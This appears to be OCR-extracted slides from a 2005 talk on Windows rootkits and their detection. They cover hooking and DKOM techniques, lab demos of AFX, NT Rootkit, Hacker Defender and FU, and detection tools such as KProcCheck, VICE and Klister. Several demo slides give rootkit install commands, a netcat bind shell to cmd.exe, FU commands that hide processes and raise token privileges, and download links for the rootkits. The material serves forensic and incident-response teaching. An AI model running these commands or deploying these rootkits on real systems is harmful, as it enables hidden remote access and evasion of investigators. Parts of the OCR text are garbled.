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m NTFS ADS
— Alternate Data Stream ...
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m NTFS ADS 7

— http://www.seifried.org/security/advisories/
kssa-003.html
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m PC

Cookie ...

m Evidence Eliminator

— http://www.evidence-
eliminator.com/product.d2w

— In tests, Evidence Eliminator™ defeats
EnCase and other Forensic Analysis
equipment as used by investigators, police
and government agencies.
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m Know Your Enemy!!
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Windows Rootkit
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m User-Mode Rootkit
—exe / dll WFP
— FakeGINA

— DLL Injection & APl Hooking

m Kernel-Mode Rootkit
— IDT/SDT/SSDT Hooking
— Direct Kernel Object Manipulation
— Kernel Patching (Memory / File)




kernel32.dlI
call WriteFile() ...

User Application
ntdil.dll

IAT (Import Address Table ) @

Int Ox2E

User Mode

| IDTR (Interrupt Descriptor Table Register) Kernel Mode

OxED

KiSystemService ()

SDT (Service Descriptor -
System Service Dispatcher Table) .

1
IDT (Interrupt Descriptor Table) SSDT (System Service Dispatch Table)

15




DLL Injection & APl Hooking
+

DLL Injection
APl Hooking

kernel32.dll
call WriteFile() ... I hook.dll

User Application
ntdll.dlI

IAT (Import Address Table ) @

User Mode
Int OX2E




AFX Rootkit 2004
1

= DLL & AP rootkit

m http://lamaphex.net/downloads/

— root.exe, hook.dll




AFX Rootkit 2004

C:¥>c:¥temp¥afx¥root.exe /i

C:¥>dir ¥temp
C
80CF-BC0O6

C:¥temp

2005/02/12 19:21

2005/02/12 19:21 .-
0 0
2 483,842,048

C:¥>start ¥temp¥afx¥nc.exe -d -L -p 9999 -e cmd.exe

— netstat/fport/openports pulist/pslist/tlist

C:¥>sc stop afx
C:¥>sc delete afx




NT Rootkit

Kernel API Rootkit

nttps://www.rootkit.com/vault/hoglund/r
K_044.zip

m_root /

m IP 10.0.0.166
disable

_root_sys, deploy.exe




NT Rootkit

C:¥WINNT¥system32¥drivers>deploy.exe — _root_.sys

C:¥>dir temp
C
80CF-BC0O6

C:¥temp
2005/02/12 20:38 <DIR>
2005/02/12 20:38 <DIR> .-
0 0
2 483,164,160
C:¥>start ¥temp¥ root ¥ root nc.exe -d -L -p 9999 -e cmd.exe
- pulist/pslist/tlist

C:¥>sc stop _root_
C:¥>sc delete root_




Hacker defender
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m API Rootkit
m http://rootkit.host.sk/
m NI

hxdefl100.exe, hxdefdrv.sys,
bdcli100.exe




Hacker defender

C:¥temp¥hxdef100>hxdef100 — hxdefdrv.sys
"HackerDefender100"

C:¥>dir ¥temp
C
80CF-BCO6

C:¥temp
2005/02/12 23:47 <DIR>
2005702712 23:47 <DIR> ..
0 0
2 482,371,584
C:¥>start ¥temp¥hxdefl00¥nc.exe -d -L -p 9999 -e cmd.exe

- netstat/fport/openports pulist/pslist/tlist
ini

C:¥>sc stop HackerDefender100
C:¥>sc stop HackerDefenderDrv100




Direct Kernel Object
JrI\/Ianipulation (DKOM)

EPROCESS EPROCESS EPROCESS

FLINK FLINK FLINK
BLINK BLINK BLINK




FU Rootkit
_;_

s DKOM Rootkit

m https://www.rootkit.com/vault/fuzen_op

/FU_Rootkit.zip

SID

fu.exe, msdirectx.sys
— fu.exe ...




FU Rootkit

C:¥temp¥fu>fu
Usage: fu
[-p1] #number to list the first #number of processes
[-ph] #PID to hide the process with #PID
[-pld] to list the named drivers in DbgView
[-phd] DRIVER_NAME to hide the named driver
[-pas] #PID to set the AUTH ID to SYSTEM on process #PID
[-pri] to list the available privileges
[-prs] #PID #privilege name to set privileges on process #PID
[-pss] #PID #account_name to add #account_name SID to process #PID token

C:¥temp¥fu>fu -ph 480 - msdirectx.sys 1D:480

C:¥temp¥fu>fu -phd msdirectx.sys - msdirectx.sys

C:¥>sc stop msdirectx




Windows Rootkit

RAID

Morphine




VICE

m http://www.rootkit.com/vault/fuzen_op/vice.zip
m rootkit Win32 API

®™WICE Console

—_- =

I

WIMHTES:
KERMEL
KERMEL

=

(=]
=]
(=]
(=]
(=]
(=]
(=]
(=}
(=]
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Hook, Addre.. | Footkit Path




KProcCheck
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 m http://www.security.org.sg/code/kprocc
heck.html

m KProcCheck




KProcCheck

API

FU




KProcCheck

C:¥>kproccheck -p
KProcCheck Version 0.1 Proof-of-Concept by SIG"2 (www.security.org.sg)

Process list by traversal of ActiveProcessLinks

8 System
140 SMSS.exe
168 CSrss.exe
188 winlogon.exe

Iinternat.exe
1040 KProcCheck.exe
1060 cmd.exe
1072 Imejpmgr.exe
1076 nc.exe --[Hidden]--
1080 conime.exe
1092 svchost.exe
1116 root.exe --[Hidden]--

Total number of processes = 28




KProcCheck

C:¥>kproccheck -s
KProcCheck Version 0.1 Proof-of-Concept by SIG"2 (www.security.org.sg)

Process list by traversal of KiWaitInListHead and KiWaitOutListHead

8 System
140 SMSS.exe
168 CSrss.exe
188 winlogon.exe
216 services.exe
228 Isass.exe
332 mshta.exe
400 svchost.exe
448 SPOOLSV.EXE
476 msdtc.exe
480 cmd.exe --[Hidden]-- <
svchost.exe

number of processes = 27




KProcCheck

C:¥>kproccheck -t
KProcCheck Version 0.1 Proof-of-Concept by SIG"2 (www.security.org.

Checks SDT for Hooked Native APIs +--- NT Rootkit
V

ZwClose 18 ¥?7¥C:¥WINNT¥system32¥drivers¥ root . [FD5C130D]
ZwCreateFile 20 ¥?7¥C¥WINNT¥system32¥drivers¥_root . [FD5C0381]
ZwCreateKey 23 ¥?7?7¥C¥WINNT¥system32¥drivers¥_root . [ FD5COED4]
ZwCreateSection 2B ¥?7¥C-¥WINNT¥system32¥drivers¥ root . [ FD5BD6D8]
ZwDeleteKey 35 ¥??7¥C:-¥WINNT¥system32¥drivers¥_root . [FD5C0D04]
ZwDeleteValueKey 37 ¥?7¥C-¥WINNT¥system32¥drivers¥_root . [FD5COF8D]
ZWEnumerateKey 3C ¥?2?72¥C-¥WINNT¥system32¥drivers¥_root . [FD5C0B93]
ZwWEnumerateValueKey 3D ¥??7¥C:¥WINNT¥system32¥drivers¥_root_. [FD5C0948]
ZwFlushKey 43 ¥?¥C-¥WINNT¥system32¥drivers¥_root . [FD5C0D93]
ZwOpenFile 64 ¥?2?7¥C-¥WINNT¥system32¥drivers¥_root . [FD5C026B]
Zw0OpenKey 67 ¥??7¥C ¥WINNT¥system32¥drivers¥_root . [FD5C04A0]
ZwQueryDirectoryFile 7D ¥?7?7¥C¥WINNT¥system32¥drivers¥_root . [FD5C0050]
ZwQueryKey 8B ¥??7¥C:¥WINNT¥system32¥drivers¥ root . [FD5C0618]
ZwQuerySystemInformation 97 ¥??¥C:¥WINNT¥system32¥drivers¥ root . [FD5C1080]
ZwQueryValueKey OB ¥?7¥C:¥WINNT¥system32¥drivers¥ root . [FD5C077C]
ZwSetValueKey D7 ¥?7¥C-¥WINNT¥system32¥drivers¥_root_. [FD5COE2A]




- m Klister
— KProcCheck

m PatchFinder

— Execution Path Analysis EPA
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Windows Forensics and Incident Recovery
— Harlan Carvey, Addison-Wesley, ISBN:0321200985

Exploiting Software : How to Break Code
— Greg Hoglund & Gary McGraw, Addison-Wesley, ISBN:0201786958

Malware: Fighting Malicious Code
— Ed Skoudis & Lenny Zeltser, Prentice Hall PTR, ISBN:0131014056
VICE - Catch the hookers!

— http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-
butler/bh-us-04-butler.pdf

Advanced Windows 2000 Rootkit Detection (Execution Path Analysis)

— http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-
rutkowski/bh-us-03-rutkowski-paper.pdf

FU Rootkit (GCIH Practical Assignment by Mariusz Burdach)
— http://www.giac.org/practical/GCIH/Mariusz_Burdach_GCIH.pdf




